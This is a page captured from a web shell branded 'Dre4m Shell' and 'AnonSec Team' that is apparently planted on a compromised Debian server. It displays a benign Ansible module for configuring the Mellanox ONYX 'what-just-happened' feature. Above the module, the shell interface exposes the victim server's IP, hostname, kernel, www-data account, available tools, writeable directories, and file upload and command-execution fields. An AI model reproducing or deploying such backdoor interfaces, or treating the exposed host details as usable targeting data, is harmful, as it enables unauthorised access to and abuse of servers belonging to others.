Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.141.19.115
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/mellanox/onyx/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/mellanox/onyx/plugins/modules//onyx_wjh.py
#!/usr/bin/python
#
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

DOCUMENTATION = '''
---
module: onyx_wjh
author: "Anas Shami (@anass)"
short_description: Configure what-just-happend module
description:
  - This module provides declarative management of wjh
    on Mellanox ONYX network devices.
notes:
options:
    group:
        description:
         - Name of wjh group.
        choices: ['all', 'forwarding', 'acl']
        type: str
    enabled:
        description:
          - wjh group status
        type: bool
    auto_export:
        description:
          - wjh group auto export pcap file status
        type: bool
    export_group:
        description:
          - wjh group auto export group
        choices: ['all', 'forwarding', 'acl']
        type: str
    clear_group:
        description:
          - clear pcap file by group
        choices: ['all', 'user', 'auto-export']
        type: str
'''

EXAMPLES = """
- name: Enable wjh
  onyx_wjh:
      group: forwarding
      enabled: True

- name: Disable wjh
  onyx_wjh:
      group: forwarding
      enabled: False

- name: Enable auto-export
  onyx_wjh:
        auto_export: True
        export_group: forwarding
- name: Disable auto-export
  onyx_wjh:
        auto_export: False
        export_group: forwarding
- name: Clear pcap file
  onyx_wjh:
        clear_group: auto-export
"""

RETURN = """
commands:
  description: The list of configuration mode commands to send to the device.
  returned: always
  type: list
  sample:
    - what-just-happend forwarding enable
    - what-just-happend auto-export forwarding enable
    - clear what-just-happend pcap-file user
"""
import re

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.mellanox.onyx.plugins.module_utils.network.onyx.onyx import BaseOnyxModule, show_cmd


class OnyxWJHModule(BaseOnyxModule):
    WJH_DISABLED_REGX = re.compile(r'^no what-just-happened ([a-z]+) enable.*')
    WJH_DISABLED_AUTO_EXPORT_REGX = re.compile(r'^no what-just-happened auto-export ([a-z]+) enable.*')

    WJH_CMD_FMT = '{0}what-just-happened {1} enable'
    WJH_EXPORT_CMD_FMT = '{0}what-just-happened auto-export {1} enable'
    WJH_CLEAR_CMD_FMT = 'clear what-just-happened pcap-files {0}'

    WJH_GROUPS = ['all', 'forwarding', 'acl']
    CLEAR_GROUPS = ['all', 'user', 'auto-export']

    def init_module(self):
        """
        module initialization
        """
        element_spec = dict(group=dict(choices=self.WJH_GROUPS),
                            enabled=dict(type='bool'),
                            auto_export=dict(type='bool'),
                            export_group=dict(choices=self.WJH_GROUPS),
                            clear_group=dict(choices=self.CLEAR_GROUPS))

        argument_spec = dict()
        argument_spec.update(element_spec)
        self._module = AnsibleModule(
            argument_spec=argument_spec,
            supports_check_mode=True,
            required_together=[
                ['group', 'enabled'],
                ['auto_export', 'export_group']
            ])

    def get_required_config(self):
        self._required_config = dict()
        module_params = self._module.params
        group = module_params.get('group')
        export_group = module_params.get('export_group')
        clear_group = module_params.get('clear_group')

        params = dict()
        if group:
            enabled = module_params.get('enabled')
            params.update({
                'group': group,
                'enabled': enabled
            })

        if export_group:
            auto_export = module_params.get('auto_export')
            params.update({
                'export_group': export_group,
                'auto_export': auto_export
            })

        if clear_group:
            params.update({
                'clear_group': clear_group
            })

        self.validate_param_values(params)
        self._required_config = params

    def _get_wjh_config(self):
        return show_cmd(self._module, "show running-config | include .*what-just-happened.*", json_fmt=False, fail_on_error=False)

    def _set_current_config(self, config):
        if not config:
            return
        current_config = self._current_config
        lines = config.split('\n')
        for line in lines:
            if line.startswith('#'):
                continue
            match = self.WJH_DISABLED_REGX.match(line)
            if match:
                # wjh is disabled
                group = match.group(1)
                current_config[group] = False

            match = self.WJH_DISABLED_AUTO_EXPORT_REGX.match(line)
            if match:
                # wjh auto export is disabled
                export_group = match.group(1) + '_export'
                current_config[export_group] = False

    '''
        show running config will contains [no wjh * group enable] if disabled - default config is enabled
    '''
    def load_current_config(self):
        self._current_config = dict()
        config_lines = self._get_wjh_config()
        if config_lines:
            self._set_current_config(config_lines)

    def wjh_group_status(self, current_config, group_value, suffix=''):
        current_enabled = False
        if group_value == 'all':
            # no disabled group so all would be false
            current_enabled = not all([
                                      (group + suffix) in current_config for group in self.WJH_GROUPS])
        else:
            # if no current-value its enabled
            current_enabled = current_config[group_value + suffix] if((group_value + suffix) in current_config) else True
        return current_enabled

    '''
        wjh is enabled "by default"
        when wjh disable we  will find no wjh commands in running config
    '''
    def generate_commands(self):
        current_config, required_config = self._current_config, self._required_config
        group = required_config.get('group')
        export_group = required_config.get('export_group')
        clear_group = required_config.get('clear_group')
        if group:
            current_enabled = self.wjh_group_status(current_config, group)
            if(required_config['enabled'] != current_enabled):
                self._commands.append(self.WJH_CMD_FMT
                                      .format(('' if required_config['enabled'] else 'no '), group))
        if export_group:
            current_enabled = self.wjh_group_status(current_config, required_config['export_group'], '_export')
            if(required_config['auto_export'] != current_enabled):
                self._commands.append(self.WJH_EXPORT_CMD_FMT
                                      .format(('' if required_config['auto_export'] else 'no '), export_group))
        if clear_group:
            # clear pcap files
            self._commands.append(self.WJH_CLEAR_CMD_FMT.format(clear_group))


def main():
    """ main entry point for module execution
    """
    OnyxWJHModule.main()


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team